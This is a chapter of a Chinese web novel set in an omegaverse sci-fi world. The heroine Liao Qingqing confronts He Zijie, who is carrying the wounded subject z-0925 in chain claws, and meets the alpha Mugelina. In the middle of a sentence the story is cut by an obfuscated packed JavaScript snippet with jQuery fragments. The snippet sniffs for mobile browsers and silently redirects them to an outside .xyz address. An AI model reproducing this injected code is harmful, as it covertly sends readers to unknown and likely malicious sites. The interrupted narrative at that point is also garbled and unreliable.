在廖轻青所看不见的地方，何子诫站在27区启能点的落点外。
这个启能传输点是属于独芯能源的内部路线，传输点外是用于伪装的店面，正是那关门的酒吧。
此时他正站在酒吧玻璃移门外。
z-0925与启能武器的斗争把周遭的环境破坏得坑坑洼洼，从痕迹来看这几乎是一场单方面的虐待。
虽然痕迹的主人可能不这么想。
他身后张牙舞爪的锁链爪如同一堆缠绕的蛇一样张开，其中一只爪上拎着一个重伤的人，灰色脑袋无力地下垂。他低头瞥了一眼，喃喃自语：“她只保证要活的对吧，要知道我只是造成了一些小小的外伤。”
这话在他自己看来太没问题了，z实验体尤其擅长身体自愈，摔摔砸砸一般造不成大事。
当然，是指小摔小砸，他可不会管这种整个后背血肉模糊、半条手臂近乎断裂的伤口算不算“小外伤”。
z-0925几乎不会主动参与任何非必要对话，更何况而今神志不清。但这不妨碍何子诫拿他当破布折腾，机械爪晃了晃z-0925，把他摇的想吐，要逼迫他提神听何子诫讲话。
“其实，她说得对，我早就想杀你了。”
链爪把人稍微提的高一点，与他的脸齐平，黑色竖瞳冰冷地盯着他，吐息在夜晚冰凉的空气里。
“唉，我可是有在期待啊，半天前想到这个时刻还会非常非常兴奋。虽然你的研究价值很大，但我还是想亲手把你杀掉。”
“然而看到你通过启能点那时候，我忽然兴致全无。”这声音又低沉又夸张，带着一股浓浓的恶意。“你知道吗，没用的弃子。你被随手抛弃了。”
实验体不会关心这个，他心里当然有数，他只是随意地找个地方宣泄他落空的期待与压抑的恶意，并不关心听众的感受。
这人的实际情绪来去像暴风雨，天气预报报不准的那种。几秒后，他又无聊地把人拉开、放下了，缓缓打了个哈欠：
“不过现在你的好姐姐不得不回来了，感谢我吧。”
廖轻青已经同步抵达27区，她把车锁在和目的地有一段距离的地方，然后下车步行，她很庆幸老天爷没让这里下雨，她真的已经受够不停吹干这头长发了。
经历过一段追逐战，时间又来到深夜，此时的27区恢复成她熟悉的样子——昨日他们去齿鼠店铺那时的样子。
空荡的街道，偶尔有行车飞驰而过。街道两侧交错的巷路，藏匿着这些势力错综复杂的小据点和交接处。
再一段路就能到汇合地点了。
如果不出意外，行文到这里也是要出意外了，毕竟廖轻青倒霉得可以。
“好香的薄荷气，好清新刺激的酒香。”鞋子哒哒地踩在地上，一道张扬的声音从前方传来，带着好奇地情绪，话尾音调微微提高。
首先闯入视野的是一身服帖的白色风衣，上摆收进随意扎起的腰带里，下摆自然散开，干净利落。对方身型颀长，一头酒红色的大波浪，前额和鬓角有两捋金色挑染在橙色路灯下反着漂亮的光，耳朵上流苏状的金饰一晃一晃。
空气里飘来幽幽的花香。
27区都是下水沟的气味，要么就是路边公园的石楠花臭，哪能来什么花香，这是alpha的信息素。
“……”廖轻青对这种夜晚出没的人群有点ptsd了。
老规矩，x-0238看人先看武器，对方身上看起来干干净净，两手插在外衣口袋里，口袋看起来藏不下一整只枪，并且身上没有刀，但是不能保证没有启能武器。
启能武器选材可塑性太大了，何子诫老老实实的时候也看不出来身上有那些乱七八糟的机械链爪啊！
“啊呀，这位妹妹，这么晚了，你到这儿来干什么？Omega晚上出门可不安全呀。”
这位女性alpha左胳膊抱胸，右胳膊肘支在左胳膊上，手上甩动着一串银色的钥匙，金属相撞发出哗啦哗啦的声音。
她勾起漂亮的暗红唇，抬高下巴，那双红眼睛看下来，轻蔑地笑了一声：
“到这个据点来，你是独芯能源的人？是旧派还是新派？”
“他们会养Omega吗，怎么让人在这污染区干活，不如跳槽来我手下玩呀？”
“不好意思，只是借过。这位姐姐，我赶时间。”廖轻青冲她淡淡一笑，温和地说完，准备快速从对方身边经过。
她不想和对方起冲突，这人浑身上下充斥着第一环昂贵的气息，又是alpha，打起来她可能没什么胜算。
“哎，这么急做什么。我也要去那个小酒馆据点，顺便自己弄点酒过过嘴瘾。瞧，钥匙。”这位女性alpha走上来拦住廖轻青，浓郁的花香熏的人眼前一花，她伸手把那串银色钥匙在廖轻青眼前晃了晃。
“你喜欢这个据点吗？一起来尝一点？我手下有27区最好的调酒师，不过今天没上班。”
对方的手揽过她的小臂，薄肌紧致有力，温热的活人触觉让她整个人一滞。
“……”
她默默咽下一口气，有一种现在就把枪拔出来的冲动。
女性alpha却高声笑了起来，还得寸进尺地把头在她肩膀上蹭了蹭：
“呀，反应这么大，有没有人说过你真的不太擅长藏情绪，信息素闻起来像要把我两枪崩死一样。”
“……”
她好像后知后觉何言老能准确知道什么时候闭嘴的原因。
“但既然还不想和我打一架，那就陪我去喝一杯吧，走。”
话毕，女性alpha正要拉着廖轻青往巷子里去。
她没开始动作呢却忽然止步了，视线锁定在前方，然后挑了挑眉毛，似乎是有些意外。
Omega的五感比alpha要弱一些，廖轻青又不是三百六十天二十四个小时消耗精神核心保持探测，比她反应稍稍晚一点，于是这时候也抬头朝她的视线方向看去。
黑暗里走出一个熟人，身后张着熟悉的链爪，用于夜视的蓝色倒三角又出现在他的眼睛里。
浓雾驱退花香，熟人远远传来一声叹息：“我说算算时间怎么还没到，原来是遇上麻烦了。”
女性alpha高声说：
“哟……我还怪道你怎么没来重污染区凑热闹，原来还是来了。”
听起来两人关系还行，至少不会打起来。
廖轻青心里评估了一番，然而当看清链爪上抓的是什么，她把纠缠的胳膊拉开，皱起眉毛对何子诫说：“把人给我放下来，你答应我是活的。”
何子诫没有回应她的要求，默
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317768|183097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不作声地走上来伸手抓住她的右手，把廖轻青拽了过去，直到她离红发alpha有一段距离，这才缓缓松手。
何子诫在耳边轻声对她介绍：“多联生物的穆格里娜-拉。”
女性alpha闻言又挑了挑眉毛，双手抱胸，现在她比这具仿生体高出一截，自上而下地打量他，嗤笑一声：“你怎么缩水了，在缅怀青春？这是什么新技术吗，你原来的身体去哪儿了，残了还是废了？”
听到最后一个问题，廖轻青默默移开眼神。
何子诫倒是表现得毫无芥蒂：
“不要瞎打听别人家的事。你是来喝酒的？据点在前面，我看了库存，可能不是很够你霍霍，建议下次你自己顺手存一点进去。”
“那要给我多分钱。”她微微后仰，把重心支在左腿上，动作慵懒闲适。“这是你的人？我喜欢她的信息素，你们独芯能源根本不会养人，不如把人给我了。”
“挖我的墙角是你的兴趣爱好吗？”
何子诫抬起左手头疼一般地敲了敲太阳穴。
话题朝着廖轻青不想关心的地方倾斜，如果说遇到穆格里娜那时候她还有点耐心剩余，那现在她烦躁得要着火，只想把z-0925带走，找地方治疗。
所以她直接采取了最激进的交流方式——
“砰”得一声枪响，廖轻青手上的枪口缓缓散着烟，子弹射击在锁链爪上，z-0925从链爪上掉下来，失去意识，如同一块破布，被她伸出手稳稳接在怀里。
“停，打扰一下两位叙旧。”她先是瞥了一眼穆格里娜，然后朝着何子诫冷冷地说。“人要还我，你最好祈祷他还活着，我讨厌欺骗。”
“我是现在碰不到你本体，但也应该不用我提醒你，仿生体重伤会对你身体产生百分之七十的同步影响。”
穆格里娜退后两步，兴趣盎然地开始看戏。
何子诫知道她是真气得不轻，这件意外又纯粹出于他自己的一时私欲，于是近乎低声下气地回答：
“我向你保证他还活着，我可以提供医疗资源。”
“你知道你的合作是胁迫换来的，从始至终我都不觉得你值得合作，给我一个仍然信任你的理由。”廖轻青浅浅一笑。
“你用什么跟我保证他不会被你的人直接送上解剖手术台呢？”
听到这里，在一边的穆格里娜看戏的发出大笑：“原来人家不是你的人啊，你早说。”
她走上前来，诡异的花香弥散开来，高调地彰显着自己的存在感。
“亲爱的，这人就是这么乱来，不管是跟他做对手还是合作都很烦，要合作不如找我呀。只要陪我弄点小酒……”
姓何的当然不值得信任，但穆格里娜……何言是贪图她身上隐藏的信息，穆格里娜看起来就比较单纯，应该只是对廖轻青的信息素感兴趣，这口头说说的合作能有多少份量？
何子诫似乎能大概猜到廖轻青是怎么想的，开口：
“……等等，我们的合作也许的确出现一些小问题，但是多联生物的一时兴起就很值得信任吗？姐姐，他们未必比我更谈信用。”
他的表情似乎有些阴沉，微微眯起眼睛，脸上的笑容几乎要挂不住。
廖轻青若有所思地看向他。
这似乎是一个好机会呢？